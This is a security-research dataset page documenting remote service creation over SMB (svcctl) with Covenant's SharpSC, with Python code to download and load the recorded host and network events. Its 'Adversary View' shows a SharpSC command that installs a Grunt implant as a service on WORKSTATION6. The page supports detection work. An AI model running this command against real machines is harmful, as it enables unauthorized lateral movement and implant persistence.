Covenant SharpSC Create
Contents
Covenant SharpSC Create#
Metadata#
Contributors |
Roberto Rodriguez @Cyb3rWard0g |
Creation Date |
2020/08/06 |
Modification Date |
2020/09/20 |
Tactics |
|
Techniques |
|
Tags |
RPC CreateService,SMB Svcctl |
Dataset Description#
This dataset represents adversaries remotely creating a service via RPC methods such as CreateService over SMB named pipes such as svcctl.
Datasets Downloads#
Type |
Link |
---|---|
Host |
|
Network |
Adversary View#
(wardog) > SharpSC /command:"action=create computername=WORKSTATION6 service=Cyb3rWard0g displayname=OTR binpath=C:\Windows\System32\GruntHTTP2.exe"
[-] Error uninstalling Cyb3rWard0g on WORKSTATION6. Reason: ServiceHandle is invalid.
[*] Attempting to create service Cyb3rWard0g on WORKSTATION6...
[*] Created Cyb3rWard0g Service on WORKSTATION6
Explore Datasets#
Download & Decompress Dataset#
import requests
from zipfile import ZipFile
from io import BytesIO
url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/lateral_movement/host/covenant_sharpsc_create_dcerpc_smb_svcctl.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])
Read JSON File#
from pandas.io import json
df = json.read_json(path_or_buf=datasetJSONPath, lines=True)
Access Security Events#
df.groupby(['Channel']).size().sort_values(ascending=False)